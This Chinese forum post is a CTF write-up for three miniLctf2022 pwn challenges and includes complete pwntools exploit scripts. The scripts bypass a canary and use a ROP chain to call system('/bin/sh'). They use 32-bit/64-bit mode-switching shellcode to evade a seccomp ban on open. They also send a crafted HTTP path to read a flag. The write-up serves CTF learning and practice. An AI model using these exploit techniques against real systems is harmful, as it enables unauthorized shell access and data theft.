首页
社区
课程
招聘
[原创]【miniLctf2022】西电Lteam招新赛pwn题题解
2022-5-8 18:14 15149

[原创]【miniLctf2022】西电Lteam招新赛pwn题题解

2022-5-8 18:14
15149

《招新赛》

 

题目链接

 

西电的前辈们太会玩惹

 

学长们该上班的上班,该摸鱼的摸鱼去了,就俺一个人打,没得到什么场外支持,也算是对自己能力的一次考验吧

学到的知识

(1)scanf("%ns",s):限制scanf只能读n个字节的字符串

比赛题解

god

多线程绕canary的板子题,同类的有Hgame2022的welcome to the pwn land

libc

2.31

保护

img

ida

img

 

通过这里的任意栈地址写修改TSS段的canary绕过,然后通过:

 

img

 

泄露canary,没开pie直接ret2即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
 
r=process('./gods',env={"LD_PRELODA":"./libc-2.31.so"})
elf=ELF('./gods')
libc=ELF("./libc-2.31.so")
put_got=elf.got["puts"]
put_plt=elf.plt['puts']
one=[0xe3b2e,0xe3b31,0xe3b34]
pdt=0x4015d3  ##pop rdi ; ret
##r = remote("chuj.top", 51904)
 
def z():
    gdb.attach(r)
 
##leak_libc
##z()
r.sendlineafter("(*^_^*)","yes")
r.sendlineafter("Rank: ",str(2))
r.sendlineafter("Name: ",'a'*7)
r.sendlineafter("Rank: ",str(272))
r.sendlineafter("Name: ","nameles")
pd='a'*0x18+'nameles\x00'+'a'*8+p64(pdt)+p64(put_got)+p64(put_plt)+p64(0x401236)
r.sendlineafter("what's your name?",pd)
r.recvuntil("of XDSEC!\n")
libcbase=u64(r.recvuntil("\x7f").ljust(8,'\x00'))-libc.sym['puts']
log.success("libcbase:"+hex(libcbase))
 
##set lib_fuc
onegadget=one[2]+libcbase
binsh=libcbase+libc.search('/bin/sh').next()
system=libcbase+libc.sym['system']
 
##get_shell
pd='a'*0x18+'nameles\x00'+'a'*8+p64(0x40101a)+p64(pdt)+p64(binsh)+p64(system)
r.sendlineafter("what's your name?",pd)
r.interactive()

shellcode

算是倒数第二难的shellcode题(第一还限制了读入的shellcode的字节和格式)

沙箱

img

 

好家伙,open都禁了

保护

img

ida

img

 

大概就是把写的东西当作code执行

 

但是有个check,看看check了啥:

 

img

 

这是个啥?暂时不用管,我们先想想咋解决没有open

 

看看64位调用表

 

linux 系统调用号表Anciety的博客-CSDN博客系统调用号

 

发现

 

img

 

img

 

那么如果我们能在64位下使用32位的系统调用,就可以用open

 

直接int80行不?

 

答案是不行。区别32位和64位的关键在于CS寄存器的值,0x23表示32位,0x33表示64位

 

那么怎么修改呢?通过长距离跳转的返回指令retfq(64位)或者retf(32位)

 

这两个指令相当于下面两个指令的复合:

1
2
3
pop cs
pop ip(rsp或esp)
ret

进入64位还要需要寻址的不同,32位下是4字节,64位已有的内存地址肯定不行。那么我们可以通过mmap申请一个地址为0x40404000的内存区域供32位环境下使用

 

回到刚刚的check,用

1
print(asm('retfq'))

发现,正好就是'\xCB',怎么办呢?其实是很简单的截断,就在shellcode前补一个‘\x00'就好

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
 
##r=process('./shellcode')
r=remote('pwn.archive.xdsec.chall.frankli.site',10070)
##mmap(0x40404040,0x7e,7,34,0,0)
 
def asm64(shell):
    return asm(shell,arch = 'amd64',os = 'linux')
 
def asm32(shell):
    return asm(shell,arch = 'i386',os = 'linux')
 
sys_mmap='''
push 0x40404040;
mov r9,rax;
push 0x40404040;
push 0x200;
push 0x7;
push 0x34;
pop rcx;
pop rdx;
pop rsi;
pop rdi;
xor r8,r8;
mov rax,9;
syscall;
'''
 
##read_in_0x40404040
sys_read='''
push 0x400;
pop rdx;
xor rdi,rdi;
mov rsi,rax;
xor rax,rax;
syscall;
'''
 
##sys_read_content
content='''
push 0x23;
push 0x40403040;
mov rax,0x1000;
add [rsp],rax;
retfq;
'''
 
##sys_open_flag
sys_open='''
mov esp,0x40404020;
mov ebx,0x40404020;
xor ecx,ecx;
mov eax,0x5;
int 0x80;
mov ebx,eax;
add esp,0x80;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
retfq;
'''
 
##to_32
 
to_32='''
jmp rsi;
'''
 
##sys_read
syss_read='''
mov rsp,0x40404070;
mov rdi,rbx;
mov rsi,0x40404150;
mov rdx,0x40;
xor rax,rax;
syscall;
'''
 
##sys_write
sys_write='''
mov rdi,1;
mov rax,rdi;
syscall;
'''
 
shellcode='\x00'+asm64(sys_mmap)+asm64(sys_read)+asm64(to_32)
shellcode=shellcode.ljust(0x50,'\x00')
##print(len(shellcode))
print('test:'+str(len(asm64('nop'))))
content=asm64(content)
content=content.ljust(0x20,'\x00')+'./flag.txt'.ljust(16,'\x00')
content=content.ljust(0x40,'\x00')+asm64(sys_open)
##print('test:'+str(len(asm64(sys_open))))
content=content.ljust(0x5a,'\x00')+asm64(syss_read)+asm64(sys_write)
content=content.ljust(0xa0,'\x00')+p32(0x40404069)+p32(0x33)
 
r.send(shellcode)
sleep(3)
r.send(content)
##flag=r.recvline()
##print(flag)
r.interactive()

Easyhttpd

考查远程监听问题,主要是如何通过连接疏通accept函数的阻塞

保护

img

ida

img

 

主要是这个accept函数,会一直被动地等待端口连接,需要在脚本里加入

1
2
r=remote('0.0.0.0',2048) ##本地
r=remote('dockerip',docker端口) ##远程

就可以实现用send和recv进行的这个进程和连接的交互

 

其它的就是一些很简单的绕过了

 

比如

 

img

 

可以直接令S1=‘/home/minil//flag’

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import os
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
 
r=process('./easy')
##r = remote("pwn.archive.xdsec.chall.frankli.site", 10008)
 
def z():
    gdb.attach(r)
 
##z()
##gdb.attach(r)
s=remote('pwn.archive.xdsec.chall.frankli.site',10008)
##s=remote('0.0.0.0',10008)
##pd="GET "+'./flag'+'\r\n'+"User-Agent: "+'MiniL'+'\r\n\r\n'
pd="GET "+'/home/minil//flag'+'\r\n'+"User-Agent: "+'MiniL'+'\r\n\r\n'
pd=pd.ljust(255,'\x00')
s.send(pd)
s.interactive()
##r.sendlineafter("Welcome to 2022 MiniL\n",string)
os.system('netstat -aptn')
 
r.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-6-4 14:13 被Nameless_a编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (3)
雪    币: 19586
活跃值: (60093)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2022-5-8 18:18
2
0
题目附件,论坛本地上传一份?
雪    币: 6393
活跃值: (10594)
能力值: ( LV12,RANK:400 )
在线值:
发帖
回帖
粉丝
Nameless_a 5 2022-5-8 18:47
3
0
Editor 题目附件,论坛本地上传一份?
那个平台是永久开放的,问了问出题人不太方便上传附件
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
赤道企鹅 2022-5-9 22:07
4
0
Editor 题目附件,论坛本地上传一份?
部分题目附件会更新到这个仓库:https://github.com/XDSEC/miniLCTF_2022
游客
登录 | 注册 方可回帖
返回